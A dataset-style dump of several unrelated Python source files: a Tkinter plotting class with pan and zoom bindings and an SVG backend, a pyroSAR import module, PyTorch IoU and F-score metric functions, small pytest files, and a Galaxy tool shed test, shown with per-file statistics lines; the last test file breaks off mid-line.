kwargs.get('curve_style', self.curves[name].curve_style) if style == '': self.curves[name].marker_color = marker_color self.curves[name].marker = marker self.curves[name].curve_color = curve_color self.curves[name].curve_style = curve_style else: [self.curves[name].marker_color, self.curves[name].marker, self.curves[name].curve_color, self.curves[name].curve_style] = self.parse_style(style) else: raise NameError('no curve exists with name = {0!r}'.format(name)) self.refresh_plot() def bindings(self): self.key_bindings() self.mouse_bindings() def key_bindings(self): self.canvas.bind('<Up>', lambda event: self.pan_up()) self.canvas.bind('<Down>', lambda event: self.pan_down()) self.canvas.bind('<Left>', lambda event: self.pan_left()) self.canvas.bind('<Right>', lambda event: self.pan_right()) self.canvas.bind('<Control-Up>', lambda event: self.pan_up(fraction = 0.5)) self.canvas.bind('<Control-Down>', lambda event: self.pan_down(fraction = 0.5)) self.canvas.bind('<Control-Left>', lambda event: self.pan_left(fraction = 0.5)) self.canvas.bind('<Control-Right>', lambda event: self.pan_right(fraction = 0.5)) self.canvas.bind('<Shift-Up>', lambda event: self.pan_up(fraction = 1. / self.axes_height)) self.canvas.bind('<Shift-Down>', lambda event: self.pan_down(fraction = 1. / self.axes_height)) self.canvas.bind('<Shift-Left>', lambda event: self.pan_left(fraction = 1. / self.axes_width)) self.canvas.bind('<Shift-Right>', lambda event: self.pan_right(fraction = 1. / self.axes_width)) self.canvas.bind('=', lambda event: self.zoom_in()) self.canvas.bind('-', lambda event: self.zoom_out()) self.canvas.bind('<Control-equal>', lambda event: self.zoom_in(factor = 2.)) self.canvas.bind('<Control-minus>', lambda event: self.zoom_out(factor = 2.)) self.canvas.bind('+', lambda event: self.zoom_in(factor = math.sqrt(math.sqrt(2.)))) self.canvas.bind('_', lambda event: self.zoom_out(factor = math.sqrt(math.sqrt(2.)))) self.canvas.bind('h', lambda event: self.zoom_to_fit()) self.canvas.bind('<Home>', lambda event: self.zoom_to_fit()) self.canvas.bind('g', lambda event: self.grid('off') if self.grid() == 'on' else self.grid('on')) self.canvas.bind('x', lambda event: self.xaxis('log') if self.xaxis() == 'linear' else self.xaxis('linear')) self.canvas.bind('y', lambda event: self.yaxis('log') if self.yaxis() == 'linear' else self.yaxis('linear')) self.canvas.bind('l', lambda event: self.yaxis('log') if self.yaxis() == 'linear' else self.yaxis('linear')) self.canvas.bind('r', lambda event: self.yaxis('log', side = 'right') if self.yaxis(side = 'right') == 'linear' else self.yaxis('linear', side = 'right')) def mouse_bindings(self): self.marker_color = tk.StringVar() self.marker_color.set('b') self.marker = tk.StringVar() self.marker.set('') self.curve_color = tk.StringVar() self.curve_color.set('b') self.curve_style = tk.StringVar() self.marker.set('') self.curve_name = '' self.curve_menu = tk.Menu(self.canvas, tearoff = 0) marker_menu = tk.Menu(self.curve_menu, tearoff = 0) for [val, name] in self.marker_names: marker_menu.add_radiobutton(label = name, variable = self.marker, value = val, command = self.configure_curve_callback) self.curve_menu.add_cascade(label = 'Marker', menu = marker_menu) marker_color_menu = tk.Menu(self.curve_menu, tearoff = 0) for [val, name] in self.color_names: marker_color_menu.add_radiobutton(label = name, variable = self.marker_color, value = val, command = self.configure_curve_callback) self.curve_menu.add_cascade(label = 'Marker color', menu = marker_color_menu) curve_style_menu = tk.Menu(self.curve_menu, tearoff = 0) for [val, name] in self.linestyle_names: curve_style_menu.add_radiobutton(label = name, variable = self.curve_style, value = val, command = self.configure_curve_callback) self.curve_menu.add_cascade(label = 'Curve style', menu = curve_style_menu) curve_color_menu = tk.Menu(self.curve_menu, tearoff = 0) for [val, name] in self.color_names: curve_color_menu.add_radiobutton(label = name, variable = self.curve_color, value = val, command = self.configure_curve_callback) self.curve_menu.add_cascade(label = 'Curve color', menu = curve_color_menu) self.curve_menu.add_separator() self.curve_menu.add_command(label = 'Delete', command = lambda: self.delete_curve(self.curve_name)) windowing_system = self.root.tk.call('tk', 'windowingsystem') self.arrow = 'arrow' # if windowing_system=='x11': # self.zoom = ('@cursors/zoom.xbm', 'cursors/zoom.xbm', 'black', 'white') # self.zoomin = ('@cursors/zoomin.xbm', 'cursors/zoommask.xbm', 'black', 'white') # self.zoomout = ('@cursors/zoomout.xbm', 'cursors/zoommask.xbm', 'black', 'white') # self.openhand = ('@cursors/openhand.xbm', 'cursors/openhandmask.xbm', 'black', 'white') # self.closedhand = ('@cursors/closedhand.xbm', 'cursors/closedhandmask.xbm', 'black', 'white') # elif windowing_system=='win32': # self.zoom = '@cursors/zoom.cur' # self.zoomin = '@cursors/zoomin.cur' # self.zoomout = '@cursors/zoomout.cur' # self.openhand = '@cursors/openhand.cur' # self.closedhand = '@cursors/closedhand.cur' # elif windowing_system=='aqua': # self.zoom = 'arrow' # self.zoomin = 'arrow' # self.zoomout = 'arrow' # self.openhand = 'openhand' # self.closedhand = 'closedhand' # else: self.zoom = 'arrow' self.zoomin = 'arrow' self.zoomout = 'arrow' self.openhand = 'arrow' self.closedhand = 'arrow' self.canvas.bind('<Control-Button-1>', self.curve_context_menu) self.canvas.bind('<Button-3>', self.curve_context_menu) self.canvas.bind('<Escape>', self.cancel_mouse_zoom_pan) self.canvas.bind('z', self.setup_mouse_zoom) self.canvas.bind('b', self.setup_mouse_box_zoom) self.canvas.bind('p', self.setup_mouse_pan) def curve_context_menu(self, event): x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) if (x > self.axes_left) and (x < self.axes_right) and (y > self.axes_top) and (y < self.axes_bottom): items = self.canvas.find_overlapping(x - 2., y - 2., x + 2., y + 2.) name = '' for item in items: tags = self.canvas.gettags(item) if (tags != ()) and (tags[0] != 'current'): name = tags[0] if name != '': if name in self.curves: self.curve_name = name self.marker_color.set(self.curves[name].marker_color) self.marker.set(self.curves[name].marker) self.curve_color.set(self.curves[name].curve_color) self.curve_style.set(self.curves[name].curve_style) else: raise NameError('no curve exists with name = {0!r}'.format(name)) self.curve_menu.post(event.x_root, event.y_root) def configure_curve_callback(self): marker = self.marker.get() if marker == ' ': marker = '' curve_style = self.curve_style.get() if curve_style == ' ': curve_style = '' if self.curve_name in self.curves: if (marker == '') and (curve_style == ''): self.delete_curve(self.curve_name) else: self.curves[self.curve_name].marker_color = self.marker_color.get() self.curves[self.curve_name].marker = marker self.curves[self.curve_name].curve_color = self.curve_color.get() self.curves[self.curve_name].curve_style = curve_style else: raise NameError('no curve exists with name = {0!r}'.format(name)) self.refresh_plot() def cancel_mouse_zoom_pan(self, event): self.canvas.bind('<Button-1>', lambda event: None) self.canvas.bind('<Shift-Button-1>', lambda event: None) self.canvas.bind('<Shift_L>', lambda event: None) self.canvas.bind('<KeyRelease-Shift_L>', lambda event: None) self.canvas.bind('<B1-Motion>', lambda event: None) self.canvas.bind('<ButtonRelease-1>', lambda event: None) self.canvas.configure(cursor = self.arrow) def setup_mouse_zoom(self, event): self.canvas.bind('<Button-1>', self.mouse_zoom_in) self.canvas.bind('<Shift-Button-1>', self.mouse_zoom_out) self.canvas.bind('<Shift_L>', lambda event: self.canvas.configure(cursor = self.zoomout)) self.canvas.bind('<KeyRelease-Shift_L>', lambda event: self.canvas.configure(cursor = self.zoomin)) self.canvas.bind('<B1-Motion>', lambda event: None) self.canvas.bind('<ButtonRelease-1>', lambda event: None) self.canvas.configure(cursor = self.zoomin) def mouse_zoom_in(self, event): x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom): self.zoom_in(cx = x, cy = y) def mouse_zoom_out(self, event): x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom): self.zoom_out(cx = x, cy = y) def setup_mouse_box_zoom(self, event): self.canvas.bind('<Button-1>', self.start_mouse_box_zoom) self.canvas.bind('<Shift-Button-1>', lambda event: None) self.canvas.bind('<Shift_L>', lambda event: None) self.canvas.bind('<KeyRelease-Shift_L>', lambda event: None) self.canvas.bind('<B1-Motion>', lambda event: None) self.canvas.bind('<ButtonRelease-1>', lambda event: None) self.canvas.configure(cursor = self.zoom) def start_mouse_box_zoom(self, event): x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom): self.x0 = x self.y0 = y self.canvas.create_rectangle([self.x0, self.y0, self.x0, self.y0], outline = self.axes_color, fill = '', dash = (1, 4), tags = 'zoombox') self.canvas.bind('<B1-Motion>', self.continue_mouse_box_zoom) self.canvas.bind('<ButtonRelease-1>', self.finish_mouse_box_zoom) def continue_mouse_box_zoom(self, event): x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) if x < self.axes_left: x = self.axes_left if x > self.axes_right: x = self.axes_right if y < self.axes_top: y = self.axes_top if y > self.axes_bottom: y = self.axes_bottom self.canvas.coords('zoombox', self.x0, self.y0, x, y) def finish_mouse_box_zoom(self, event): self.canvas.delete('zoombox') x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) if x < self.axes_left: x = self.axes_left if x > self.axes_right: x = self.axes_right if y < self.axes_top: y = self.axes_top if y > self.axes_bottom: y = self.axes_bottom if x < self.x0: self.x0, x = x, self.x0 if y < self.y0: self.y0, y = y, self.y0 self.zoom_rect([self.x0, self.y0, x, y]) self.canvas.bind('<B1-Motion>', lambda event: None) self.canvas.bind('<ButtonRelease-1>', lambda event: None) def setup_mouse_pan(self, event): self.canvas.bind('<Button-1>', self.start_mouse_pan) self.canvas.bind('<Shift-Button-1>', lambda event: None) self.canvas.bind('<Shift_L>', lambda event: None) self.canvas.bind('<KeyRelease-Shift_L>', lambda event: None) self.canvas.bind('<B1-Motion>', lambda event: None) self.canvas.bind('<ButtonRelease-1>', lambda event: None) self.canvas.configure(cursor = self.openhand) def start_mouse_pan(self, event): x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom): self.x0 = x self.y0 = y self.canvas.bind('<B1-Motion>', self.continue_mouse_pan) self.canvas.bind('<ButtonRelease-1>', self.finish_mouse_pan) self.canvas.configure(cursor = self.closedhand) def continue_mouse_pan(self, event): x = self.canvas.canvasx(event.x) y = self.canvas.canvasy(event.y) self.pan(dx = x - self.x0, dy = y - self.y0) self.x0 = x self.y0 = y def finish_mouse_pan(self, event): self.canvas.bind('<B1-Motion>', lambda event: None) self.canvas.bind('<ButtonRelease-1>', lambda event: None) self.canvas.configure(cursor = self.openhand) def tk_backend(self): self.erase_plot = self.tk_erase_plot self.draw_rect = self.tk_draw_rect self.draw_oval = self.tk_draw_oval self.draw_line = self.tk_draw_line self.draw_text = self.tk_draw_text self.begin_group = self.tk_begin_group self.end_group = self.tk_end_group def tk_erase_plot(self): self.canvas.delete('all') def tk_draw_rect(self, **kwargs): coords = kwargs.get('coords', []) outline_color = kwargs.get('outline', '') fill_color = kwargs.get('fill', '') name = kwargs.get('name', '') item = self.canvas.create_rectangle(coords, outline = outline_color, fill = fill_color) if name != '': self.canvas.itemconfig(item, tags = name) def tk_draw_oval(self, **kwargs): coords = kwargs.get('coords', []) outline_color = kwargs.get('outline', '') fill_color = kwargs.get('fill', '') line_weight = kwargs.get('width', 1.) name = kwargs.get('name', '') item = self.canvas.create_oval(coords, outline = outline_color, fill = fill_color, width = line_weight) if name != '': self.canvas.itemconfig(item, tags = name) def tk_draw_line(self, **kwargs): coords = kwargs.get('coords', []) fill = kwargs.get('fill', '') line_style = kwargs.get('dash', ()) line_weight = kwargs.get('width', 1.) name = kwargs.get('name', '') item = self.canvas.create_line(coords, fill = fill, dash = line_style, width = line_weight) if name != '': self.canvas.itemconfig(item, tags = name) def tk_draw_text(self, **kwargs): text = kwargs.get('text', '') coords = kwargs.get('coords', []) fill = kwargs.get('fill', '') font = kwargs.get('font', (self.label_font, self.label_fontsize)) anchor = kwargs.get('anchor', 'center') justify = kwargs.get('justify', 'center') name = kwargs.get('name', '') if text != '': item = self.canvas.create_text(coords, text = text, font = font, fill = fill, anchor = anchor, justify = justify) if name != '': self.canvas.itemconfig(item, tags = name) def tk_begin_group(self, **kwargs): pass def tk_end_group(self, **kwargs): pass def svg_backend(self): self.erase_plot = self.svg_erase_plot self.draw_rect = self.svg_draw_rect self.draw_oval = self.svg_draw_oval self.draw_line = self.svg_draw_line self.draw_text = self.svg_draw_text self.begin_group = self.svg_begin_group self.end_group = self.svg_end_group def svg_erase_plot(self): pass def svg_draw_rect(self, **kwargs): coords = kwargs.get('coords', []) outline_color = kwargs.get('outline', 'none') fill_color = kwargs.get('fill', 'none') name = kwargs.get('name', '') self.svg_file.write(u'{indent}<rect x="{x!s}" y="{y!s}" width="{width!s}" height="{height!s}" stroke="{outline_color}" fill="{fill_color}"/>\n'.format(indent = ' ' * self.svg_indent_level, x = coords[0], y = coords[1], width = coords[2] - coords[0], height = coords[3] - coords[1], outline_color = outline_color, fill_color = fill_color)) def svg_draw_oval(self, **kwargs): coords = kwargs.get('coords', []) outline_color = kwargs.get('outline', '') fill_color = kwargs.get('fill', '') line_weight = kwargs.get('width', 1.) name = kwargs.get('name', '') self.svg_file.write(u'{indent}<ellipse cx="{cx!s}" cy="{cy!s}" rx="{rx!s}" ry="{ry!s}" stroke="{outline_color}" stroke-width="{width!s}px" fill="{fill_color}"/>\n'.format(indent = ' ' * self.svg_indent_level, cx = 0.5 * (coords[0] + coords[2]), cy = 0.5 * (coords[1] + coords[3]), rx = 0.5 * (coords[2] - coords[0]), ry = 0.5 * (coords[3] - coords[1]), outline_color = outline_color, width = line_weight, fill_color = fill_color)) def svg_draw_line(self, **kwargs): coords = kwargs.get('coords', []) fill = kwargs.get('fill', '') line_style = kwargs.get('dash', ()) line_weight = kwargs.get('width', 1.) name = kwargs.get('name', '') if len(coords) >= 4: self.svg_file.write(u'{indent}<polyline points="{x1!s}'.format(indent = ' ' * self.svg_indent_level, x1 = coords[0])) for i in range(1, len(coords)): if (i % 2) == 1: self.svg_file.write(u',{y!s}'.format(y = coords[i])) else: self.svg_file.write(u' {x!s}'.format(x = coords[i])) if len(line_style) == 0: self.svg_file.write(u'" stroke="{color}" stroke-width="{width!s}px" fill="none"/>\n'.format(color = fill, width = line_weight)) else: self.svg_file.write(u'" stroke="{color}" stroke-width="{width!s}px" fill="none" stroke-dasharray="{dash}"/>\n'.format(color = fill, width = line_weight, dash = ', '.join([str(n) for n in line_style]))) def svg_draw_text(self, **kwargs): text = kwargs.get('text', '') coords = kwargs.get('coords', []) fill = kwargs.get('fill', '') font = kwargs.get('font', (self.label_font, self.label_fontsize)) anchor = kwargs.get('anchor', 'center') justify = kwargs.get('justify', 'center') name = kwargs.get('name', '') if anchor == 'center': coords[1] += 0.25 * font[1] text_anchor = 'middle' elif anchor == 'n': coords[1] += 0.75 * font[1] text_anchor = 'middle' elif anchor == 'ne': coords[1] += 0.75 * font[1] text_anchor = 'end' elif anchor == 'e': coords[1] += 0.25 * font[1] text_anchor = 'end' elif anchor == 'se': coords[1] -= 0.25 * font[1] text_anchor = 'end' elif anchor == 's': coords[1] -= 0.25 * font[1] text_anchor = 'middle' elif anchor == 'sw': coords[1] -= 0.25 * font[1] text_anchor = 'start' elif anchor == 'w': coords[1] += 0.25 * font[1] text_anchor = 'start' elif anchor == 'nw': coords[1] += 0.75 * font[1] text_anchor = 'start' else: raise ValueError('anchor value must be "center", "n", "ne", "e", "se", "s", "sw", "w", or "nw".') self.svg_file.write(u'{indent}<text x="{x!s}" y="{y!s}" fill="{fill}" text-anchor="{text_anchor}" font-family="{font_name}" font-size="{font_size!s}">{text}</text>\n'.format(indent = ' ' * self.svg_indent_level, x = coords[0], y = coords[1], fill = fill, text_anchor = text_anchor, font_name = font[0], font_size = font[1], text = text)) def svg_begin_group(self, **kwargs): name = kwargs.get('name', '') if name != '': self.svg_file.write(u'{indent}<g id="{name}">\n'.format(indent = ' ' * self.svg_indent_level, name = name)) else: self.svg_file.write(u'{indent}<g>\n'.format(indent = ' ' * self.svg_indent_level)) self.svg_indent_level += 1 def svg_end_group(self, **kwargs): self.svg_indent_level -= 1 if self.svg_indent_level < 0: self.svg_intent_level = 0 self.svg_file.write(u'{indent}</g>\n'.format(indent = ' ' * self.svg_indent_level))
57.196291
441
0.557856
17,271
126,461
3.871287
0.034046
0.026922
0.032246
0.018471
0.846577
0.801394
0.746579
0.700543
0.66046
0.633194
0
0.0234
0.303192
126,461
2,210
442
57.222172
0.735358
0.018654
0
0.546166
0
0.004173
0.054711
0.00254
0
0
0
0
0
1
0.055816
false
0.001565
0.002087
0.002087
0.069379
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
9c110b53cb50d83af076d8d2c4d9284ca92cd977
206
py
Python
pyroSAR/gamma/__init__.py
rickyHong/SAR-satelite-data-framework-repl
1f545b2f96d741c29ee378486c2a4fdb215e2d36
[ "MIT" ]
2
2019-04-16T10:06:22.000Z
2020-08-15T00:48:02.000Z
pyroSAR/gamma/__init__.py
sheecegardezi/pyroSAR
3d25adc4c83a672f74f2a6aea439aec9a096b5e8
[ "MIT" ]
null
null
null
pyroSAR/gamma/__init__.py
sheecegardezi/pyroSAR
3d25adc4c83a672f74f2a6aea439aec9a096b5e8
[ "MIT" ]
1
2019-12-06T02:17:01.000Z
2019-12-06T02:17:01.000Z
from .auxil import process, ISPPar, UTM, Spacing, Namespace, slc_corners, ExamineGamma, par2hdr from .util import geocode, multilook, ovs, convert2gamma, calibrate, correctOSV, S1_deburst from . import dem
51.5
95
0.800971
26
206
6.269231
0.846154
0
0
0
0
0
0
0
0
0
0
0.016575
0.121359
206
3
96
68.666667
0.883978
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
9c138948112b76952f741b7be90124819eca9c52
2,130
py
Python
segmentation_models_pytorch/utils/functions.py
vfdev-5/segmentation_models.pytorch
07a0040df57be5ed3a923435aa2912c3fa2e5673
[ "MIT" ]
1
2019-05-08T02:21:21.000Z
2019-05-08T02:21:21.000Z
segmentation_models_pytorch/utils/functions.py
vfdev-5/segmentation_models.pytorch
07a0040df57be5ed3a923435aa2912c3fa2e5673
[ "MIT" ]
null
null
null
segmentation_models_pytorch/utils/functions.py
vfdev-5/segmentation_models.pytorch
07a0040df57be5ed3a923435aa2912c3fa2e5673
[ "MIT" ]
1
2022-01-01T12:01:02.000Z
2022-01-01T12:01:02.000Z
import torch def iou(pr, gt, eps=1e-7, threshold=None, activation='sigmoid'): """ Source: https://github.com/catalyst-team/catalyst/ Args: pr (torch.Tensor): A list of predicted elements gt (torch.Tensor): A list of elements that are to be predicted eps (float): epsilon to avoid zero division threshold: threshold for outputs binarization Returns: float: IoU (Jaccard) score """ if activation is None or activation == "none": activation_fn = lambda x: x elif activation == "sigmoid": activation_fn = torch.nn.Sigmoid() elif activation == "softmax2d": activation_fn = torch.nn.Softmax2d() else: raise NotImplementedError( "Activation implemented for sigmoid and softmax2d" ) pr = activation_fn(pr) if threshold is not None: pr = (pr > threshold).float() intersection = torch.sum(gt * pr) union = torch.sum(gt) + torch.sum(pr) - intersection + eps return (intersection + eps) / union jaccard = iou def f_score(pr, gt, beta=1, eps=1e-7, threshold=None, activation='sigmoid'): """ Args: pr (torch.Tensor): A list of predicted elements gt (torch.Tensor): A list of elements that are to be predicted eps (float): epsilon to avoid zero division threshold: threshold for outputs binarization Returns: float: IoU (Jaccard) score """ if activation is None or activation == "none": activation_fn = lambda x: x elif activation == "sigmoid": activation_fn = torch.nn.Sigmoid() elif activation == "softmax2d": activation_fn = torch.nn.Softmax2d() else: raise NotImplementedError( "Activation implemented for sigmoid and softmax2d" ) pr = activation_fn(pr) if threshold is not None: pr = (pr > threshold).float() tp = torch.sum(gt * pr) fp = torch.sum(pr) - tp fn = torch.sum(gt) - tp score = ((1 + beta ** 2) * tp + eps) \ / ((1 + beta ** 2) * tp + beta ** 2 * fn + fp + eps) return score
28.026316
76
0.602347
262
2,130
4.862595
0.251908
0.075353
0.037677
0.050235
0.789639
0.789639
0.789639
0.733124
0.733124
0.733124
0
0.010575
0.289671
2,130
75
77
28.4
0.831461
0.273239
0
0.615385
0
0
0.102669
0
0
0
0
0
0
1
0.051282
false
0
0.025641
0
0.128205
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
9c3d5e5ae66c41c1e940eddb693607bddc40fc63
32
py
Python
src/booking/tests/fixtures.py
madein713/aviata-test
d403a348acd4d9ea3bfed6e82c1035dccf1b1393
[ "MIT" ]
null
null
null
src/booking/tests/fixtures.py
madein713/aviata-test
d403a348acd4d9ea3bfed6e82c1035dccf1b1393
[ "MIT" ]
null
null
null
src/booking/tests/fixtures.py
madein713/aviata-test
d403a348acd4d9ea3bfed6e82c1035dccf1b1393
[ "MIT" ]
null
null
null
import pytest @pytest.fixture
6.4
15
0.78125
4
32
6.25
0.75
0
0
0
0
0
0
0
0
0
0
0
0.15625
32
4
16
8
0.925926
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0.5
null
null
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
5
9c3d9a791c0967f68a6859c4e36aaf594ad26d58
74
py
Python
testing/example_scripts/collect/package_infinite_recursion/conftest.py
tinkerlin/pytest
bed3918cbc800682681a26c163f4cb0868b3a612
[ "MIT" ]
5,079
2015-01-01T03:39:46.000Z
2022-03-31T07:38:22.000Z
testing/example_scripts/collect/package_infinite_recursion/conftest.py
tinkerlin/pytest
bed3918cbc800682681a26c163f4cb0868b3a612
[ "MIT" ]
1,623
2015-01-01T08:06:24.000Z
2022-03-30T19:48:52.000Z
testing/example_scripts/collect/package_infinite_recursion/conftest.py
tinkerlin/pytest
bed3918cbc800682681a26c163f4cb0868b3a612
[ "MIT" ]
2,033
2015-01-04T07:18:02.000Z
2022-03-28T19:55:47.000Z
# -*- coding: utf-8 -*- def pytest_ignore_collect(path): return False
18.5
32
0.662162
10
74
4.7
1
0
0
0
0
0
0
0
0
0
0
0.016393
0.175676
74
3
33
24.666667
0.754098
0.283784
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
9c615b254d9a57ab6694b946cab3c5070a2119e1
14,557
py
Python
test/tool_shed/functional/test_0450_skip_tool_tests.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
null
null
null
test/tool_shed/functional/test_0450_skip_tool_tests.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
null
null
null
test/tool_shed/functional/test_0450_skip_tool_tests.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
1
2020-07-25T21:03:18.000Z
2020-07-25T21:03:18.000Z
from tool_shed.base.twilltestcase import ShedTwillTestCase, common, os import tool_shed.base.test_db_util as test_db_util import logging log = logging.getLogger( __name__ ) category_name = 'Test 0450 Skip Tool Tests' category_description = 'Test 0450 Skip Tool Tests' repository_name = 'filtering_0450' repository_description = "Galaxy's filtering tool for test 0450" repository_long_description = "Long description of Galaxy's filtering tool for test 0450" first_metadata_revision = None ''' 1) Create and populate a repository so that it has a single metadata revision. 2) Visit the Manage repository page and check the "Skip tool tests for this revision" checkbox and enter some text in the reason. 3) Upload a README file to the repository so that the original metadata revision is moved upward in the changelog ( do not upload anything that will create a new metadata revision ). 4) Visit the Manage repository page again, the checked "Skip tool tests" checkbox and the reason should still be displayed since it should now be associated with this metadata revision. 5) Upload a new version of the tool to the repository so that a new metadata changeset revision is created (there should now be 3 revisions with 2 of them having associated metadata). 6) Visit the Manage repository page for the tip revision - the Skip tools tests checkbox should not be checked and the reason should be empty. 7) Visit the Manage repository page for the previous metadata revision (with the README file in it). The Skip tool tests checkbox should still be checked and the reason should be there. 8) Set the skip setting on the new metadata revision. 9) Upload a readme file to the repository again, and verify that the skip setting is updated. 10) Check the first revision, make sure the skip reason matches. 11) Check the second revision, make sure the skip reason matches. 13) Uncheck the checkbox for the first revision, and verify that the skip reason is no longer displayed. 14) Uncheck the checkbox for the second revision, and verify that the skip reason is no longer displayed. ''' class TestSkipToolTestFeature( ShedTwillTestCase ): '''Test core repository features.''' def test_0000_initiate_users( self ): """Create necessary user accounts and login as an admin user.""" self.logout() self.login( email=common.test_user_1_email, username=common.test_user_1_name ) test_user_1 = test_db_util.get_user( common.test_user_1_email ) assert test_user_1 is not None, 'Problem retrieving user with email %s from the database' % common.test_user_1_email test_user_1_private_role = test_db_util.get_private_role( test_user_1 ) self.logout() self.login( email=common.test_user_2_email, username=common.test_user_2_name ) test_user_2 = test_db_util.get_user( common.test_user_2_email ) assert test_user_2 is not None, 'Problem retrieving user with email %s from the database' % common.test_user_2_email test_user_2_private_role = test_db_util.get_private_role( test_user_2 ) self.logout() self.login( email=common.admin_email, username=common.admin_username ) admin_user = test_db_util.get_user( common.admin_email ) assert admin_user is not None, 'Problem retrieving user with email %s from the database' % common.admin_email admin_user_private_role = test_db_util.get_private_role( admin_user ) def test_0005_create_repository( self ): '''Create and populate the filtering repository''' ''' This is step 1 - Create and populate a repository so that it has a single metadata revision. ''' self.create_category( name=category_name, description=category_description ) self.logout() self.login( email=common.test_user_1_email, username=common.test_user_1_name ) category = test_db_util.get_category_by_name( category_name ) strings_displayed = [ 'Repository %s' % "'%s'" % repository_name, 'Repository %s has been created' % "'%s'" % repository_name ] repository = self.get_or_create_repository( name=repository_name, description=repository_description, long_description=repository_long_description, owner=common.test_user_1_name, category_id=self.security.encode_id( category.id ), strings_displayed=strings_displayed ) self.upload_file( repository, filename='filtering/filtering_1.1.0.tar', filepath=None, valid_tools_only=True, uncompress_file=False, remove_repo_files_not_in_tar=False, commit_message='Populate filtering_0450 with version 1.1.0', strings_displayed=[], strings_not_displayed=[] ) def test_0010_set_skip_tool_tests_flag( self ): '''Set the skip tool tests flag on filtering_0450.''' ''' This is step 2 - Visit the Manage repository page and check the "Skip tool tests for this revision" checkbox and enter some text in the reason. ''' repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.set_skip_tool_tsts_flag( repository=repository, flag_value=True, reason='Skip reason for first revision.' ) self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for first revision.' ] ) def test_0015_upload_readme_file( self ): '''Upload readme.txt to the filtering_0450 repository.''' ''' This is step 3 - Upload a README file to the repository so that the original metadata revision is moved upward in the changelog. This should result in the skip_tool_tests setting being applied to the updated metadata revision. ''' global first_metadata_revision repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.upload_file( repository, filename='filtering/readme.txt', filepath=None, valid_tools_only=True, uncompress_file=False, remove_repo_files_not_in_tar=False, commit_message='Add a readme file.', strings_displayed=[], strings_not_displayed=[] ) first_metadata_revision = self.get_repository_tip( repository ) def test_0020_verify_skip_on_new_revision( self ): '''Check that the skip tool tests setting was updated.''' ''' This is step 4 - Visit the Manage repository page again, the checked "Skip tool tests" checkbox and the reason should still be displayed since it should now be associated with this metadata revision. ''' repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for first revision.' ] ) def test_0025_upload_new_tool_version( self ): '''Upload filtering 2.2.0.''' ''' This is step 5 - Upload a new version of the tool to the repository so that a new metadata changeset revision is created (there should now be 3 revisions with 2 of them having associated metadata). ''' repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.upload_file( repository, filename='filtering/filtering_2.2.0.tar', filepath=None, valid_tools_only=True, uncompress_file=False, remove_repo_files_not_in_tar=False, commit_message='Upload the filtering 2.2.0 tarball.', strings_displayed=[], strings_not_displayed=[] ) def test_0030_verify_skip_not_set( self ): '''Verify that skip tool tests is not set for the new metadata revision.''' ''' This is step 6 - Visit the Manage repository page for the tip revision - the Skip tools tests checkbox should not be checked and the reason should be empty. ''' repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.display_manage_repository_page( repository, strings_not_displayed=[ 'Skip reason for first revision.' ] ) def test_0045_verify_previous_revision_skip_setting( self ): '''Check that the previous metadata revision is still set to skip tool tests.''' ''' This is step 7 - Visit the Manage repository page for the previous metadata revision (with the README file in it). The Skip tool tests checkbox should still be checked and the reason should be there. ''' global first_metadata_revision repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.display_manage_repository_page( repository, changeset_revision=first_metadata_revision, strings_displayed=[ 'Skip reason for first revision.' ] ) def test_0050_set_new_revision_not_to_be_tested( self ): '''Set the new changeset to skip tests.''' ''' This is step 8 - Set the skip setting on the new metadata revision. ''' repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.set_skip_tool_tsts_flag( repository=repository, flag_value=True, reason='Skip reason for second revision.' ) self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for second revision.' ] ) def test_0060_upload_another_readme_file( self ): '''Upload readme.txt to the filtering_0450 repository.''' ''' This is step 9 - Upload a README file to the repository so that the original metadata revision is moved upward in the changelog. This should result in the skip_tool_tests setting being applied to the updated metadata revision. ''' repository = 